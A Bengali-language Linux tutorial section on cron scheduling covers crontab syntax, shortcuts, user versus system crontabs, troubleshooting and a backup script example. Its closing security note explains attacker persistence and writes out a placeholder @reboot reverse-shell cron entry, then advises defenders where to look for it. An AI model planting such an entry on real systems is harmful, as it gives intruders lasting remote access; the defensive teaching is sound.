Scheduling Tasks
কল্পনা করুন, আপনার একজন ব্যক্তিগত এসিস্ট্যান্ট আছে যাকে আপনি একবার বলে দিলেন— “প্রতিদিন রাত ২টায় আমার সব ফাইল কপি করে রাখবে,” আর সে কোনো ভুল ছাড়াই প্রতিদিন সেটি করতে থাকলো। লিনাক্সে এই অটোমেশনের কাজগুলো করা হয় Cron এবং আধুনিক সিস্টেমে Systemd Timers ব্যবহার করে।
Cron
Cron হলো লিনাক্সের একটি টাইম-বেজড জব শিডিউলার। এটি ব্যাকগ্রাউন্ডে সবসময় কান পেতে বসে থাকে এবং আপনার দেওয়া সময় অনুযায়ী কমান্ডগুলো এক্সিকিউট করে।
আপনি আপনার কাজের যে তালিকা এই অ্যাসিস্ট্যান্টকে দেন, সেটির নাম হলো Crontab (Cron Table)।
Crontab Anatomy
ক্রন-কে সময় বোঝানোর জন্য ৫টি স্টার ব্যবহার করতে হয়। প্রতিটি স্টার একেকটি সময় নির্দেশ করে:
* * * * * command_to_execute
| | | | |
| | | | +----- দিন (সপ্তাহের): ০-৬ (০=রবিবার)
| | | +------- মাস: ১-১২
| | +--------- দিন (মাসের): ১-৩১
| +----------- ঘণ্টা: ০-২৩
+------------- মিনিট: ০-৫৯Advanced Shortcuts
৫টি স্টার মনে রাখা যদি আপনার কাছে কঠিন মনে হয়, তবে লিনাক্স আমাদের কিছু সহজ শর্টকাট বা “Special Strings” দেয় যা স্টারের বদলে ব্যবহার করলে কাজ আরও সহজ হয়:
| শর্টকাট | মানে | কখন ব্যবহার করবে |
|---|---|---|
@reboot | কম্পিউটার অন হওয়ার পর | প্রতিবার বুট সিকুয়েন্স শেষ হলে কাজ শুরু করতে |
@hourly | প্রতি ঘণ্টার শুরুতে | 0 * * * * এর বিকল্প হিসেবে |
@daily | প্রতিদিন মধ্যরাতে | 0 0 * * * এর বিকল্প হিসেবে |
@weekly | প্রতি রবিবার রাত ১২টায় | 0 0 * * 0 এর বিকল্প হিসেবে |
Managing Crontab
লার্নার হিসেবে আপনার নিজের জন্য এবং অ্যাডমিনিস্ট্রেটর হিসেবে অন্যদের জন্য ক্রন জব ম্যানেজ করা শিখতে হবে।
- নিজের জন্য:
crontab -e(এডিট) এবংcrontab -l(লিস্ট দেখা)। - অন্য ইউজারের জন্য: যদি আপনার কাছে সুডো (sudo) পাওয়ার থাকে, তবে আপনি নির্দিষ্ট ইউজারের ক্রন এডিট করতে পারেন:
sudo crontab -u cmnatic -eSystem vs User Crontab
লিনাক্সে ক্রন জব দুই স্তরে থাকে। এই পার্থক্যটি বোঝা ইনভেস্টিগেশনের জন্য জরুরি:
- User Crontabs: এগুলো
/var/spool/cron/crontabs/ডিরেক্টরিটে থাকে। প্রতিটি ইউজারের নিজস্ব ক্রন ফাইল থাকে। - System Crontabs: এগুলো
/etc/crontabএবং/etc/cron.d/ডিরেক্টরিতে থাকে। এগুলো সাধারণত সিস্টেম-লেভেলের মেইনটেন্যান্স বা ব্যাকআপের জন্য অ্যাডমিনরা ব্যবহার করেন।
Troubleshooting Trap
ক্রন জবে সবচেয়ে বড় চ্যালেঞ্জ হলো এটি সরাসরি আপনার চোখের সামনে চলে না। ফলে সমস্যা হলে ধরা কঠিন।
Path Issue
টার্মিনাল আপনার ঘর চেনে, কিন্তু ক্রন তার নিজের একটি সাধারণ এনভায়রনমেন্ট ব্যবহার করে। তাই ক্রন-এ কমান্ড লিখলে সবসময় তার Full Path ব্যবহার করুন।
python3 না লিখে /usr/bin/python3 লিখুন।
Executable Bit
আপনি যে স্ক্রিপ্টটি চালাতে চাচ্ছেন, সেটির কি রান করার পারমিশন আছে? নাহলে ক্রন সেটি চালাতে পারবে না।
chmod +x /home/omar/scripts/backup.shChecking Logs
যদি দেখেন ক্রন কাজ করছে না, তবে লিনাক্স সিস্টেম লগে সার্চ করে দেখুন কেন ভুল হচ্ছে:
# শুধুমাত্র ক্রন রিলেটেড লগগুলো ফিল্টার করো
grep CRON /var/log/syslogPractical Example (Backup)
ধরুন, আপনি ‘cmnatic’ ইউজারের Documents ফোল্ডারটি প্রতি ১২ ঘণ্টা পরপর ব্যাকআপ নিতে চান। একটি স্ক্রিপ্ট লিখে তা এনট্রি করার পূর্ণ ধাপ:
# ১. স্ক্রিপ্ট তৈরি করো
cat <<EOF > /home/omar/backup.sh
#!/bin/bash
tar -czf /var/backups/docs_\$(date +%F).tar.gz /home/cmnatic/Documents
EOF
# ২. পারমিশন দাও
chmod +x /home/omar/backup.sh
# ৩. ক্রন-এ এন্ট্রি করো (প্রতি ১২ ঘণ্টা পরপর)
0 */12 * * * /home/omar/backup.shCyberSec Note
The Persistence Investigation:
অ্যাটাকাররা যখন কোনো পিসিতে দখল পায়, তারা চায় না যে পিসি রিস্টার্ট দিলে তাদের অ্যাক্সেস চলে যাক। তাই তারা প্রায়ই @reboot bash -i >& /dev/tcp/IP/PORT 0>&1 টাইপের রিভার্স শেল ক্রন জবে ঢুকিয়ে দেয়।
Forensics Tip:
ইনভেস্টিগেশন করার সময় শুধু নিজের ক্রন দেখলে হবে না। একজন ডিফেন্ডার হিসেবে আপনাকে অবশ্যই /etc/crontab এবং /etc/cron.d/ চেক করতে হবে, কারণ রুটকিট বা অ্যাডভান্সড ম্যালওয়্যার সাধারণত সেখানেই লুকিয়ে থাকে।
Quick Check
-
crontab -uকমান্ডটি কেন এবং কখন ব্যবহার করা হয়? - কেন একটি স্ক্রিপ্ট ম্যানুয়ালি কাজ করলেও ক্রন-এ কাজ নাও করতে পারে?
- কম্পিউটার রিস্টার্ট হওয়ার সময় অটোমেটিক সার্ভিস চালু করার শর্টকাট কী?
-
/etc/crontabএবং সাধারণ ইউজার ক্রন-এর মধ্যে মূল পার্থক্য কী?
পরবর্তী Section → Process Priority